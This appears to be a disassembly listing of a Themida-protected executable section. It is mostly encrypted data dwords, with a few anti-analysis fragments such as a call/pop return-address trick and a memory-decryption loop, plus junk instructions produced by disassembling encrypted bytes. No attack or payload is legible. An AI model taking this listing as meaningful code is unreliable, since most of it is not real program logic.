		dd 0B19E837Dh, 433015D3h, 0D6C3A846h, 6B583DB3h, 0FFECD12Fh
		dd 93806583h, 2411F6F4h, 0BBA88D63h, 6F3E23D9h,	81E68956h
		dd 4C6h, 4B85000h, 29000000h, 348758C6h, 0EA685C24h, 8900001Dh
		dd 0D8682414h, 8900000Ah, 1C682434h, 8900005Ah,	7E68240Ch
		dd 59319714h, 4B76F181h, 0CA893642h, 348B5459h,	4C48324h
		dd 2AB85052h, 295C9658h, 58042444h, 8108468Fh, 582A0846h
		dd 348B5C96h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 2434FF5Ch, 4C4815Ah,	0E9000000h, 0FFFC1A58h,	63AEB8AAh
		dd 0C50307D5h, 0E7FE0FFh, 7D2B309Bh, 0B16B7F9Bh, 66FC7386h
		dd 0CB661AE7h, 0EC470BC5h, 319F085Ah, 0D2643511h, 4E102BEh
		dd 0A19D513Eh, 8575377Eh, 720A67A4h, 564122C7h,	5905759Ch
		dd 230B5503h, 176D0449h, 75155678h, 0DD8552E2h,	60C8707Dh
		dd 8D1C7409h, 4A475DCDh, 8B252724h, 45CD2B94h, 0A4242075h
		dd 0A287522Ch, 2C42791Eh, 69D627C8h, 6A605CF1h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 5B33C352h, 0F0DDFB02h, 8BBC1064h, 0D1019995h, 185C707h
		dd 0D007D120h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6BAEC352h, 65897E31h
		dd 66544438h, 6A61D38Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F961C350h,	5858B99h
		dd 0EB07D128h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CCB73
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCB73	proc near		; CODE XREF: Themida_:005CCB6Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CCB73	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 0C9A41EBFh, 5D0D268Bh, 12E9h, 61676D00h, 0C3754C6Ch
		dd 98E1694h, 0E383F99Bh, 6A554417h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7B56C357h
		dd 69FB7E13h, 0D381660Bh, 0EE92007h, 0B4000000h, 410F4B08h
		dd 1695ADD0h, 0C91F592Dh, 0E8C18BACh, 7, 0E4376F0Eh, 293315EBh
		dd 0D11AB195h, 0D1805B07h, 4BC381B8h, 66000074h, 687035B9h
		dd 0
		dd 58F98B66h, 2C418D8Bh
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CCC0E:				; CODE XREF: Themida_:005CCC42j
		mov	edx, [ebx+eax]
		sub	edx, 76CEB732h
		mov	edi, [ebp+7D13111h]
		sub	edx, 506E44CBh
		sub	edx, 739CA41Eh
		mov	edi, 637BA8BEh
		mov	[ebx+eax], edx
		movzx	ecx, bx
		cmc
		sub	eax, 3
		mov	si, cx
		dec	eax
		cmp	eax, 0FFFF8C18h
		jnz	loc_5CCC0E
		mov	cx, si
		jnp	short loc_5CCC57
		ficom	dword ptr [eax+3AD9A403h]
		sbb	eax, eax
		aaa
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------


loc_5CCC57:				; CODE XREF: Themida_:005CCC4Bj
		jns	short loc_5CCC82
		dec	esi
		pop	edi
		pop	ds
		and	[esi], ebx
		pop	edi
		pop	ds
		mov	dh, 0D9h
		cmp	bl, [ebx]
		out	2Fh, al
; ---------------------------------------------------------------------------
		dw 52FEh
		dd 0A0C42C25h, 220BFB39h, 0D8BE9A2Bh, 220C0DA5h, 9E444EA0h
		dd 0EC63235Dh
		db 0A7h, 0D9h
; ---------------------------------------------------------------------------


loc_5CCC82:				; CODE XREF: Themida_:loc_5CCC57j
		scasb
		xor	al, 0F0h
		sub	al, 0C6h
		fistp	dword ptr [eax+12h]
		aas
		sbb	esp, [eax-4C0F3F9Eh]
		stosb
		inc	edx
		test	al, 3Dh


loc_5CCC95:				; CODE XREF: Themida_:005CCC9Bj
		mov	bl, [esi+ebp*8]
		cmpsd
		fmul	dword ptr [esi]
		jbe	short loc_5CCC95
		pop	esp
		clc
		db	64h
		enter	42AAh, 1Bh
		adc	al, 0F1h
		mov	ch, [esi+58h]
		adc	bh, [edi]
		sbb	esp, [eax-4C0F3F9Eh]
		stosb
		inc	edx
		test	al, 3Dh


loc_5CCCB5:				; CODE XREF: Themida_:005CCCBBj
		jns	short near ptr dword_5CCCD0
		out	dx, al
		cmpsd
		fmul	dword ptr [esi]
		jbe	short loc_5CCCB5
		cwde
		lea	esp, [ecx+60h]
		push	ss
		movsd
		sbb	esi, eax
		sar	dword ptr [esi], 1Bh
		mov	al, ds:63735AD9h
		xor	al, ah
		pop	edi
; ---------------------------------------------------------------------------
dword_5CCCD0	dd 5FBBDDC4h, 1B57DDC4h, 6B7AD9A0h, 46329063h, 9945C9C3h
					; CODE XREF: Themida_:loc_5CCCB5j
		dd 8141044Ch, 0D534B021h, 1BA59A2Bh, 1B3EC1F7h,	7A5AD9A0h
		dd 97C43963h, 5FBBDDC4h, 1B56DDC4h, 7281D9A0h, 0FF54C563h
		dd 1BB12F05h, 28237178h, 983AD9A0h, 15EC364Ah, 147ACEBAh
		dd 62E0B980h, 2488C1FEh, 1BA4D9A0h, 1B3EC1F3h, 765AD9A0h
		dd 77C43563h, 5FBBDDC4h, 1B53DDC4h, 6E7DD9A0h, 0F5421463h
		dd 0A671732Bh, 60C06398h, 342AAC4h, 1B3AE2C0h, 38ADA0Ah
		dd 1B3AD9A4h, 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BBh
		dd 63FE29E0h, 0C4DDFE89h, 4494D0E4h, 0EC510335h, 0CC63FA7h
		dd 40EC672Ah, 0A0C3E171h, 220BF295h, 38CDA0Ah, 1B3AD9A4h
		dd 75FE33C0h, 1F5F2E29h, 1F5F1E21h, 1B3AD9BDh, 36FE2BE2h
		dd 4BF48B2Dh, 0E3374F97h, 23F8C28Dh, 0A8C5D9A0h, 220C059Dh
		dd 9CC0639Ch, 8542AAB0h, 1E232CA0h, 3B3AD9A0h, 0A4969CFBh
		dd 9C3EFDFCh, 363EFDE4h, 5E3AD9A0h, 0B4DB9CF3h,	76FD368Dh
		dd 2D235E73h, 623AD9A0h, 0E9561FECh, 0B6046DACh, 1C134459h
		dd 318E25C2h, 1BC2E923h, 793AD9A0h, 1B434488h, 6B3B43A0h
		dd 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h,	1B3AEFA4h
		dd 0DE8B19A0h, 0A435BE08h, 0EC55AB25h, 723B43A7h, 1B3ADD88h
		dd 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h, 1B3AEEA4h,	0DE9220A0h
		dd 212391C7h, 583AD9A0h, 0E4C0D600h, 21C5E96Ah,	0A43AD9A0h
		dd 0EC41D725h, 272337A7h, 9C3AD9A8h, 2BC98571h,	80F864F1h
		dd 0A442AACAh, 0EC69DF25h, 0C0F062A7h, 342AAC5h, 1B3AE190h
		dd 391DA0Ah, 1B3AD9A4h,	7AFE38C0h, 1F5F5629h, 1F5F1E21h
		dd 1B3AD9B7h, 4BFE30E7h, 8198672Fh, 4FDFBB21h, 375C5F29h
		dd 38AE171h, 1B3AD9A9h,	0A02B7DB7h, 1DC68F45h, 314C96C9h
		dd 7999E171h, 1B428488h, 723B43A0h, 1B3ADD88h, 0DE99F9A0h
		dd 3FB762FFh, 3F7F5AA4h, 1B3AF0A4h, 0DE9220A0h,	6CEC6EA6h
		dd 32315B06h, 0CC0638Eh, 8142AAC0h, 36CFC121h, 1B425088h
		dd 1B42C2A0h, 0C412D9A0h, 99C74053h, 80C0635Eh,	8542AABFh
		dd 1E232EA0h, 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch,	373EFDE4h
		dd 603AD9A0h, 0CD619CF5h, 731D20B3h, 0A6E8EAF6h, 0EC5AD72Dh
		dd 2270C1A7h, 1BA4D9A0h, 1B3EC1F2h, 755AD9A0h, 6FC43463h
		dd 5FBBDDC4h, 1B54DDC4h, 6D7CD9A0h, 9A030863h, 8083DEBh
		dd 0A4336507h, 0EC6B4725h, 6B3B43A7h, 1B3ADD88h, 0DE92F9A0h
		dd 3F7F62F8h, 3F7F5AA4h, 1B3AF4A4h, 0DE8B19A0h,	0D184D28Dh
		dd 0CB8330Bh, 24242C01h, 0A33AD9A0h, 0F98C793Ah, 4539E493h
		dd 1CBDE8FFh, 103AD9A0h, 2104C202h, 1BA4D9A0h, 1B3EC1F5h
		dd 785AD9A0h, 87C43763h, 5FBBDDC4h, 1B57DDC4h, 707FD9A0h
		dd 38FD3063h, 0AE0275E7h, 4275AF8h, 1B3AD9A8h, 0C25D83E3h
		dd 0A4539B94h, 0EC416725h, 6C3B43A7h, 1B3ADD88h, 0DE93F9A0h
		dd 3F8762F9h, 3F7F5AA4h, 1B3AF6A4h, 0DE8C1AA0h,	1FFFA05Eh
		dd 2A393AA9h, 0D83ED95Ah, 220BEE09h, 1B413C88h,	6E3B43A0h
		dd 1B3ADD88h, 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h,	1B3AF4A4h
		dd 0DE8E1CA0h, 8FD135E1h, 0BFDA60F7h, 0A0C4CB2Bh, 220BF615h
		dd 4B23D32Bh, 853AD9A6h, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh
		dd 9C3EFE0Ch, 303EFDE4h, 603AD9A0h, 92E29CF5h, 1B4166AFh
		dd 0FCBBD9A0h, 97132D16h, 20E45F29h, 1722E171h,	853AD9A6h
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	373EFDE4h
		dd 623AD9A0h, 0CDD69CF7h, 7F18A116h, 2A00ADCFh,	1B3AE029h
		dd 78D7DAA0h, 0A442AAB7h, 0EC637F25h, 9E145AA7h, 39BB6A6h
		dd 1B3ADF5Ch, 38ADA0Ah,	1B3AD9A4h, 73FE31C0h, 1F5F1E29h
		dd 1F5F1E21h, 1B3AD9B6h, 84FE29E0h, 0A03C9CEEh,	220BFDDDh
		dd 1B3E64AFh, 0A6A0D9A0h, 64C06368h, 7B42AAA0h,	1B3AEA89h
		dd 76D2F5A0h, 7D4E9951h, 39F480BDh, 653D321Eh, 1B4AC2A0h
		dd 0D6F3D9A0h, 0F58106A5h, 0EB9B5B24h, 53336012h, 73233B81h
		dd 853AD9A5h, 1E232FA0h, 3B3AD9A0h, 0A4999CFEh,	9C3EFE14h
		dd 343EFDE4h, 613AD9A0h, 73A69CF6h, 5DD1F409h, 48FC5F29h
		dd 1BA4E171h, 1B3EC1F2h, 755AD9A0h, 6FC43463h, 5FBBDDC4h
		dd 1B55DDC4h, 6D7CD9A0h, 7BE7B663h, 666F9CF5h, 2044C29Bh
		dd 2723D9A0h, 0EF3AD9A0h, 0EEC61E2Dh, 0B68CCC14h, 0A62D1B41h
		dd 0EC5BF72Dh, 44C062A7h, 342AAB5h, 1B3AD9A9h, 2231BDB4h
		dd 65970EA6h, 0C8F7FCFEh, 0CB42AACBh, 0BCC062A0h, 2A42AAA1h
		dd 1BA5B256h, 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h
		dd 1B54DDC4h, 6B7AD9A0h, 0DA208963h, 3301E547h,	1B3AE05Ah
		dd 6D3B43A0h, 1B3ADD88h, 0DE94F9A0h, 3F8F62FAh,	3F7F5AA4h
		dd 1B3AF0A4h, 0DE8D1BA0h, 10AC7282h, 424896CAh,	0DEC5E171h
		dd 0DC3698AFh, 1BA4DE88h, 1B3EC1F1h, 745AD9A0h,	67C43363h
		dd 5FBBDDC4h, 1B50DDC4h, 6C7BD9A0h, 0F1C39A63h,	2E386F29h
		dd 8133E171h, 1BA5BC97h, 1B3EC1F6h, 795AD9A0h, 8FC43863h
		dd 5FBBDDC4h, 1B55DDC4h, 7180D9A0h, 150EF863h, 0BF0ADBCFh
		dd 41FA406Bh, 8513059Ch, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh
		dd 9C3EFE0Ch, 363EFDE4h, 603AD9A0h, 0B2C89CF5h,	0BBADE42Fh
		dd 0A6CDF2DDh, 85CE2A92h, 1E232EA0h, 3B3AD9A0h,	0A4989CFDh
		dd 9C3EFE0Ch, 333EFDE4h, 603AD9A0h, 0F31F9CF5h,	0A4D2AA4Bh
		dd 0EC523735h, 0E0D0D8A7h, 8542AAA1h, 1E232AA0h, 3B3AD9A0h
		dd 0A4949CF9h, 9C3EFDECh, 373EFDE4h, 5C3AD9A0h,	11AD9CF1h
		dd 0B31792F6h, 763F01BBh, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 1F5F1E21h, 1B3AD9B7h, 8CFE29E0h, 810A6540h
		dd 69AC321h, 49506F2Eh,	1BA4E171h, 1B3EC1F1h, 745AD9A0h
		dd 67C43363h, 5FBBDDC4h, 1B51DDC4h, 6C7BD9A0h, 9C737263h
		dd 0BCC8656Ch, 342AAA1h, 1B3AD9B4h, 15FCA055h, 3FCF732Ah
		dd 9551424Ch, 5C1BF9E9h, 4F35FD2h, 1B3AD9AAh, 0D24142CCh
		dd 0CDCE132h, 35C4384Ah, 39708F2Bh, 5DC3E171h, 723B43A4h
		dd 1B3ADD88h, 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h,	1B3AF0A4h
		dd 0DE9220A0h, 4A46A8AFh, 1B94972Bh, 0B0C7E171h, 220BEE19h
		dd 45C07729h, 9CA0E171h, 0A4720F86h, 6B3B43BAh,	1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AF1A4h,	0DE8B19A0h
		dd 0EFAA6EDCh, 0EABC4025h, 5DC3E940h, 0B40859A4h, 1CD46729h
		dd 0B0C7E171h, 220BF231h, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 1F5F1E21h, 1B3AD9B7h, 7BFE29E0h, 0A62B5826h
		dd 0EC517F5Dh, 855562A7h, 1E232CA0h, 3B3AD9A0h,	0A4969CFBh
		dd 9C3EFDFCh, 363EFDE4h, 5E3AD9A0h, 6ED69CF3h, 3E3641D7h
		dd 0A6A1D0E0h, 1F7D636Fh, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 1F5F1E21h, 1B3AD9BBh, 0B8FE29E0h,	1E951619h
		dd 0A6E95965h, 0EC5E0B55h, 24C862A7h, 0A842AAC1h, 0EC66BF35h
		dd 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh,	3F7F5AA4h
		dd 1B3AEEA4h, 0DE901EA0h, 35C481B3h, 5DC3E355h,	6CC7E4A4h
		dd 0A842AAA6h, 0EC6B5335h, 713B43A7h, 1B3ADD88h, 0DE98F9A0h
		dd 3FAF62FEh, 3F7F5AA4h, 1B3AEDA4h, 0DE911FA0h,	1B49C2C2h
		dd 0A7B5D9A0h, 1365201Dh, 4688DAEDh, 841D5888h,	1B3E63AFh
		dd 0A6A0D9A0h, 8555636Fh, 1E2329A0h, 3B3AD9A0h,	0A4939CF8h
		dd 9C3EFDE4h, 353EFDE4h, 5B3AD9A0h, 43999CF0h, 0C03CBF11h
		dd 1F7D6369h, 0F4CFDD00h
		dd 342AAA3h, 1B3AD9B2h,	0BD68034Dh, 8E58AFEFh, 0EA58D3DDh
		dd 8A1698C9h, 7A9C3A5Ah, 8CD06701h, 8542AAC0h, 1E232BA0h
		dd 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h, 323EFDE4h,	5D3AD9A0h
		dd 65A79CF2h, 0D9A131EAh, 9E49E02Dh, 1B3AD9A6h,	3C988F2Bh
		dd 0A0C3E171h, 220C0CD9h, 1BA4F429h, 1B3EC1F2h,	755AD9A0h
		dd 6FC43463h, 5FBBDDC4h, 1B55DDC4h, 6D7CD9A0h, 0E2699363h
		dd 89E7E565h, 5BF4406Bh, 1F7D634Dh, 21B46729h, 0B0C7E171h
		dd 220BFEB9h, 38ADA0Ah,	1B3AD9A4h, 73FE31C0h, 1F5F1E29h
		dd 1F5F1E21h, 1B3AD9BBh, 47FE29E0h, 4A7E9768h, 0A6B5639Dh
		dd 0EC54BF5Dh, 855562A7h, 1E232FA0h, 3B3AD9A0h,	0A4999CFEh
		dd 9C3EFE14h, 303EFDE4h, 613AD9A0h, 43879CF6h, 323C66CBh
		dd 5DC3E171h, 6C3B43A4h, 1B3ADD88h, 0DE93F9A0h,	3F8762F9h
		dd 3F7F5AA4h, 1B3AF2A4h, 0DE8C1AA0h, 616CDAE8h,	0E2BCD7B1h
		dd 84650F79h, 20F4672Bh, 0B0C7E171h, 220BF1E9h,	38BDA0Ah
		dd 1B3AD9A4h, 74FE32C0h, 1F5F2629h, 1F5F1E21h, 1B3AD9BAh
		dd 0B5FE2AE1h, 0EC3DE09Dh, 35C4BD04h, 391DA0Ah,	1B3AD9A4h
		dd 7AFE38C0h, 1F5F5629h, 1F5F1E21h, 1B3AD9B4h, 0EFE30E7h
		dd 0CF1E901h, 1B4166B0h, 0A0C5D9A0h, 220BF88Dh,	1F7D6301h
		dd 40998AFh, 1B3ADACDh,	38BDA0Ah, 1B3AD9A4h, 74FE32C0h
		dd 1F5F2629h, 1F5F1E21h, 1B3AD9B7h, 0B4FE2AE1h,	489A078h
		dd 1B3AD9B4h, 837A3823h, 8E247AD3h, 0E0C59269h,	50D557F0h
		dd 8534C058h, 6C3B43A0h, 1B3ADD88h, 0DE93F9A0h,	3F8762F9h
		dd 3F7F5AA4h, 1B3AF6A4h, 0DE8C1AA0h, 9BC40CD0h,	46C635E4h
		dd 0B8646097h, 220BEE45h, 1BA4DA0Ah, 1B3EC1F3h,	765AD9A0h
		dd 77C43563h, 5FBBDDC4h, 1B4EDDC4h, 6E7DD9A0h, 0D846C363h
		dd 220BE9A1h, 853398AFh, 6B3B43A0h, 1B3ADD88h, 0DE92F9A0h
		dd 3F7F62F8h, 3F7F5AA4h, 1B3AEFA4h, 0DE8B19A0h,	46E81DCFh
		dd 0EC3CA355h, 20C9E8A7h, 0D43AD9A0h, 87851EACh, 1BA4DA0Ah
		dd 1B3EC1F2h, 755AD9A0h, 6FC43463h, 5FBBDDC4h, 1B54DDC4h
		dd 6D7CD9A0h, 0DF8AE563h, 30CAA27Eh, 32B46F9Fh,	1BA4E171h
		dd 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B55DDC4h
		dd 6B7AD9A0h, 238C9B63h, 357BAA9Eh, 14C64048h, 713B4464h
		dd 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh, 3F7F5AA4h,	1B3AEEA4h
		dd 0DE911FA0h, 0E5C679DDh, 1BA59F2Ah, 1B3EC1F6h, 795AD9A0h
		dd 8FC43863h, 5FBBDDC4h, 1B54DDC4h, 7180D9A0h, 0BE53A063h
		dd 0EDAA1D1Dh, 729B9A2Bh, 7C95CD2Bh, 4F409723h,	903AE171h
		dd 64F85CA9h, 1B42AAC8h, 6E8AF314h, 53F39A2Bh, 0A43AD9A4h
		dd 0EC5AEB25h, 32D866A7h, 1A42AD82h, 9E933574h,	0EC63235Dh
		dd 32AED9A7h, 53F32CF0h, 0A43AD9A4h, 0EC5AEB25h, 0D3D866A7h
		dd 1A42AD7Eh, 81933574h, 8534F25Fh, 1E232FA0h, 3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 2F3EFDE4h, 613AD9A0h,	0A4F69CF6h
		dd 0EC6A6725h, 0A8FB64A7h, 0EC4E3B25h, 34C062A7h, 8142AAB8h
		dd 0ABDCA55Fh, 0F3A41D5Fh, 6C9B29E8h, 0A0309406h, 0DEC63FF9h
		dd 0B8C66A01h, 220BE025h, 0D0C3DA0Ah, 220C055Dh, 0D063DA0Ah
		dd 220BF391h, 211C772Bh, 0A0C7E171h, 22104DB4h,	38ADA0Ah
		dd 1B3AD9A4h, 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9B4h
		dd 9CFE29E0h, 47165B06h, 20FB5D72h, 38BDA0Ah, 1B3AD9A4h
		dd 74FE32C0h, 1F5F2629h, 1F5F1E21h, 1B3AD9BDh, 30FE2AE1h
		dd 9117490Dh, 1875EA99h, 82F229DEh, 0D0D062FBh,	0AB42AAAFh
		dd 499DC25Bh, 6E8B29CDh, 6DCB34FFh, 0D40E5B06h,	1BA538A3h
		dd 2E285F29h, 1BA4E171h, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 1F5F1E21h, 1B3AD9B5h, 4EFE29E0h, 5CF7FD32h
		dd 8142AACBh, 1A175E5Fh, 0EC58BB36h, 6C3B43A7h,	1B3ADD88h
		dd 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h, 1B3AEDA4h,	0DE8C1AA0h
		dd 35C2E958h, 33AD9A0h,	1B3AD9AFh, 0B219A707h, 3E710886h
		dd 0E775EAEDh, 0B86E3DC4h, 220BE5C1h, 1B4DC2FBh, 8444D9A0h
		dd 36E3B64h, 0A72F9E57h, 33CDC884h, 3DD2D46Fh, 0F0A1672Dh
		dd 1BA4E174h, 1B3EC1F5h, 785AD9A0h, 87C43763h, 5FBBDDC4h
		dd 1B56DDC4h, 707FD9A0h, 72C89363h, 15894886h, 0EC3A95A1h
		dd 38BDA0Ah, 1B3AD9A4h,	74FE32C0h, 1F5F2629h, 1F5F1E21h
		dd 1B3AD9BCh, 0AAFE2AE1h, 30AB081h, 0F5A86813h,	39086F29h
		dd 0D8BDE171h, 220BF0B5h, 0CABFE8A1h, 853AD9A0h, 1E232FA0h
		dd 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h, 363EFDE4h,	613AD9A0h
		dd 0AF4E9CF6h, 89CD046h, 0D8C61195h, 220BFA9Dh,	1BA4DC0Ah
		dd 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h, 1B52DDC4h
		dd 7281D9A0h, 0D8152363h, 6B8BC7CDh, 0B2409506h, 3F3F62FBh
		dd 38BDA0Ah, 1B3AD9A4h,	74FE32C0h, 1F5F2629h, 1F5F1E21h
		dd 1B3AD9B5h, 9BFE2AE1h, 1B4CC37Eh, 0E8EED9A0h,	6729D05Dh
		dd 0AF1A627Fh, 0BC4D7032h, 1A71B8BAh, 0EC58C336h, 703B43A7h
		dd 1B3ADD88h, 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h,	1B3AF2A4h
		dd 0DE901EA0h, 7DE4338Fh, 832472EBh, 33AD9ADh, 1B3AD9A1h
		dd 39285AFDh, 8542AF14h, 1E2329A0h, 3B3AD9A0h, 0A4939CF8h
		dd 9C3EFDE4h, 313EFDE4h, 5B3AD9A0h, 0F2EA9CF0h,	0D0D86546h
		dd 442AAA1h, 1B3AD9A6h,	1A0211CEh, 92C06762h, 3E42AE5Ch
		dd 0EC59AB3Dh, 32FA29A7h, 0A4932B9Bh, 0A8C3FDA4h, 220BF189h
		dd 1B70D904h, 853AD9A0h, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h
		dd 9C3EFDECh, 303EFDE4h, 5C3AD9A0h, 0CC3A9CF1h,	1B606304h
		dd 853AD9A0h, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh,	9C3EFE0Ch
		dd 323EFDE4h, 603AD9A0h, 9ADB9CF5h, 7CF6C273h, 1A5A1AC1h
		dd 0EC63FB26h, 6E3B43A7h, 1B3ADD88h, 0DE95F9A0h, 3F9762FBh
		dd 3F7F5AA4h, 1B3AEDA4h, 0DE8E1CA0h, 443A43C9h,	0EC3D675Dh
		dd 60F0D8A7h, 442AAC4h,	1B3AD9ADh, 0E8C8599Ah, 0EA558B1Ch
		dd 0F59F5C0Ch, 2F586F9Fh, 3323E171h, 1C3AD9A1h,	0EC4B6335h
		dd 0A43B89A7h, 0EC4B0755h, 0D8D062A7h, 142AAA8h, 0B0642B11h
		dd 220C05A9h, 4ACBDFBh,	1B3AD9A8h, 0A255DF71h, 57CBEB23h
		dd 0FFBDE901h, 2A3AD9A0h, 0DEBCA256h, 293073F5h, 1B3AE05Ah
		dd 1B4EC2A0h, 89DBD9A0h, 955202B7h, 0C0C2B6F0h,	87CA02DFh
		dd 0E079D6E2h, 81FC656Ch, 0E3DAA121h, 0A63FC261h, 0EC609B5Dh
		dd 0FD323FA7h, 46396506h, 0D8F80D68h, 0A642AAC2h, 98D86571h
		dd 442AABBh, 1B3AD9ACh,	1B4060AFh, 9CA0D9A0h, 0A621CC8Bh
		dd 0EC68EF25h, 1FC2E8A7h, 713AD9A0h, 9E9A34F7h,	0B8C5E160h
		dd 220C05C1h, 0A63B9A23h, 0EC43635Dh, 2A0B14A7h, 1B3AFA23h
		dd 1B45C1A0h, 0A24AD9A0h, 0C03DAF9Eh, 6B90212Ch, 9787CA5Fh
		dd 5F2438F0h, 0A43AD9A0h, 0EC68D75Dh, 0E8C864A7h, 0A642AAA3h
		dd 1C1C5D99h, 1B685DAFh, 0A249D9A0h, 1B3AD9ACh,	1B4159AFh
		dd 0AA49D9A0h, 1B3AD9A0h, 0E8E05D9Ch, 1942AAA3h, 27C8772Ch
		dd 0B0C3E171h, 220C07B5h, 1B2438F6h, 0A83AD9A0h, 0F03C8155h
		dd 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh,	3F7F5AA4h
		dd 1B3AF6A4h, 0DE901EA0h, 1A3A1F45h, 0F93B266Ah, 0D8C67D0Ch
		dd 220BDF61h, 1BA4DA0Ah, 1B3EC1F2h, 755AD9A0h, 6FC43463h
		dd 5FBBDDC4h, 1B4FDDC4h, 6D7CD9A0h, 1AC25263h, 0EC3B2F36h
		dd 6C3B43A7h, 1B3ADD88h, 0DE93F9A0h, 3F8762F9h,	3F7F5AA4h
		dd 1B3AF3A4h, 0DE8C1AA0h
		dd 987E84B9h, 81CF6A43h, 0AD6DA121h, 1B41E359h,	383259A0h
		dd 8537BB23h, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh,	9C3EFE0Ch
		dd 363EFDE4h, 603AD9A0h, 20B89CF5h, 66B6C81Fh, 0A849E2D0h
		dd 1B3AD9A3h, 17196506h, 0ACD062F3h, 7A42AAA5h,	1B4C5FAFh
		dd 2723D9A0h, 0E03AD9A0h, 0A47520BBh, 72E64779h, 46CD4BA4h
		dd 98C86360h, 4642AABCh, 6D3B4472h, 1B3ADD88h, 0DE94F9A0h
		dd 3F8F62FAh, 3F7F5AA4h, 1B3AEFA4h, 0DE8D1BA0h,	0C86F0FF9h
		dd 30C9BD3h, 4BEA9A4h, 852F4EA5h, 1E232CA0h, 3B3AD9A0h
		dd 0A4969CFBh, 9C3EFDFCh, 363EFDE4h, 5E3AD9A0h,	19DF9CF3h
		dd 0F53D21F5h, 0D6A15F58h, 0FEF6D2A5h, 289F948Bh, 1B3ADA28h
		dd 29186729h, 0B0C5E171h, 220BF4F1h, 390DA0Ah, 1B3AD9A4h
		dd 79FE37C0h, 1F5F4E29h, 1F5F1E21h, 1B3AD9B9h, 31FE2FE6h
		dd 0A9F8F16Dh, 0E1239901h, 0A8C5E36Bh, 220C06F5h, 0A68B0257h
		dd 1E536562h, 0A6536561h, 1E23AB61h, 73536562h,	3BF8772Bh
		dd 0D8C3E171h, 220C02A1h, 36009723h, 2A3AE171h,	1B3B2524h
		dd 713B43A0h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh,	3F7F5AA4h
		dd 1B3AF2A4h, 0DE911FA0h, 139A7468h, 0A8648A4Ch, 220C037Dh
		dd 1B3ADA58h, 0DA4A39A0h, 0F2C64092h, 25C86701h, 1042AAEDh
		dd 449BBBA0h, 0EC57E725h, 60C862A7h, 7C42AAB7h,	38749723h
		dd 2A3AE171h, 1B3F9D24h, 9E2090A0h, 0EC58135Dh,	9F49DAA7h
		dd 1B3ADE6Fh, 38CDA0Ah,	1B3AD9A4h, 75FE33C0h, 1F5F2E29h
		dd 1F5F1E21h, 1B3AD9B8h, 6AFE2BE2h, 5D66726Ch, 433C6729h
		dd 0D8BDE171h, 220BF6D9h, 81C0E8A3h, 463AD9A4h,	0EC50B33Dh
		dd 1BA539A7h, 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h
		dd 1B55DDC4h, 7180D9A0h, 9F5E3963h, 96BEAB88h, 760A5B6Eh
		dd 6E8BDF1Bh, 0A7A13599h, 84D86579h, 9B42AAB4h,	0F6BBDE81h
		dd 47C7CD81h, 9F4AA2AAh, 1B3ADB4Ah, 37B85EC9h, 0D86DE171h
		dd 220BE169h, 43305F2Bh, 1BA4E171h, 1B3EC1F0h, 735AD9A0h
		dd 5FC43263h, 5FBBDDC4h, 1B51DDC4h, 6B7AD9A0h, 7A472163h
		dd 10F8651Ah, 0A442AAC6h, 0EC3B1735h, 0E8C00CA7h, 8542AAD1h
		dd 1E2329A0h, 3B3AD9A0h, 0A4939CF8h, 9C3EFDE4h,	313EFDE4h
		dd 5B3AD9A0h, 0D1339CF0h, 2A9B6A74h, 1B3AF024h,	1B4CC2A0h
		dd 0E06DD9A0h, 0AEBF364Fh, 0A20BFE87h, 0D5CF00C9h, 7C293DB6h
		dd 20232CF0h, 0B03AD9A0h, 6BCA36ABh, 1B3AE489h,	1AE09A0h
		dd 33377ED3h, 764316A9h, 0B86469FFh, 220C008Dh,	1BA4DA0Ah
		dd 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h, 1B53DDC4h
